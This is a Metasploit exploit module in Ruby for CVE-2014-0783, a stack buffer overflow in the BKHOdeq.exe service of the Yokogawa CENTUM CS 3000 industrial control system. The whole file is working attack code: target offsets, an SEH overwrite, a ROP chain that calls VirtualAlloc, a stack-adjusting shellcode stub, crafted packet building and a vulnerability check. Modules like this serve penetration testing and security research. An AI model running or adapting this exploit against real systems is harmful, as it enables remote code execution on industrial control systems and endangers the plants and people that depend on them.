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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow',
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      'Description'    => %q{
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        This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
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        exists in the service BKHOdeq.exe when handling specially crafted packets. This module has
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        been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows
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        2003 SP2.
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      },
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      'Author'         =>
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        [
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          'juan vazquez',
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          'Redsadic <julian.vilas[at]gmail.com>'
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        ],
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      'References'     =>
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        [
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          [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
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          [ 'URL', 'https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ],
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          [ 'CVE', '2014-0783']
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        ],
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      'Payload'        =>
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        {
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          'Space'       => 6000,
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          'DisableNops' => true,
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          'BadChars'    => ":\r\n"
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',
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            {
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              'Ret'    => 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN
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              'Offset' => 8660,
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              'StackPivotAdjustment' => 108
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            }
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          ]
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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          'WfsDelay' => 10
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        },
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      'DisclosureDate' => '2014-03-10',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        # Required for EIP offset
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        Opt::RPORT(20171)
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      ])
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  end
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  def check
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    # It forces an huge allocation, which should fail,
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    # and return back an error answer from the server
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    # while parsing the packet header.
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    pkt = build_pkt(0xffffffff)
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    res = send_pkt(pkt)
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    if valid_response?(res)
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      return Exploit::CheckCode::Detected
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    end
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    Exploit::CheckCode::Safe
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  end
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  def exploit
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    my_payload = payload.encoded
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    rop_chain = create_rop_chain
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    data = rand_text(target['StackPivotAdjustment'])
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    data << rop_chain
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    data << stack_adjust
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    data << my_payload
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    data << rand_text(target['Offset'] - data.length)
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    data << generate_seh_record(target.ret)
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    pkt = build_pkt(data.length, data)
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    print_status("Trying target #{target.name}, sending #{pkt.length} bytes...")
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    connect
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    sock.put(pkt)
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    disconnect
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  end
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  def build_pkt(data_length, data = "")
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    header = rand_text(4)             # iMark
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    header << [data_length].pack("N") # Data length
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    header << rand_text(4)            # NumSet
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    header << rand_text(2)            # req
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    header << rand_text(2)            # Unknown
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    pkt = header + data
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    pkt
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  end
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  def send_pkt(data)
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    connect
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    sock.put(data)
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    res = sock.get_once
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    disconnect
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    res
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  end
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  def valid_response?(data)
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    return false unless data
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    return false unless data.length == 4
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    return false unless result_code(data) == 0
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    true
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  end
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  def result_code(data)
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    data.unpack("N").first
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  end
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  def stack_adjust
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    adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
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    adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
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    adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
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    adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
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    adjust
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  end
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  def create_rop_chain
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    # rop chain generated with mona.py - www.corelan.be
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    rop_gadgets =
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      [
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        0x63b27a60,  # RET # padding on XP SP3
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        0x63b27a60,  # RET # padding on XP SP3
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        0x63b27a5f,  # POP EAX # RETN [libbkhMsg.dll]
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        0x61e761e0,  # ptr to &VirtualAlloc() [IAT LibBKCCommon.dll]
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        0x61e641e4,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [LibBKCCommon.dll]
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        0x00405522,  # PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe]
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      ].flatten.pack("V*")
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    rop_gadgets << rand_text(1752) # Padding because of the "ADD ESP,6D8" instr
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    rop_gadgets << [
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        0x61e62aa4,  # POP EBP # RETN [LibBKCCommon.dll]
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        0x61e648c0,  # & push esp # ret  [LibBKCCommon.dll]
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        0x66f3243f,  # POP EBX # RETN [libBKBEqrp.dll]
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        0x00000001,  # 0x00000001-> ebx
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        0x61e729dd,  # POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll]
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        0x00001000,  # 0x00001000-> edx
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        0x63a93f6f,  # POP ECX # RETN [libbkhopx.dll]
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        0x00000040,  # 0x00000040-> ecx
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        0x63ad1f6a,  # POP EDI # RETN [libbkhOdeq.dll]
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        0x63dd3812,  # RETN (ROP NOP) [libbkhCsSrch.dll]
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        0x61e60b4c,  # POP EAX # RETN [LibBKCCommon.dll]
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        0x90909090,  # nop
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        0x63ae5cc3,  # PUSHAD # RETN [libbkhOdbh.dll]
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      ].flatten.pack("V*")
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    rop_gadgets
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  end
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end
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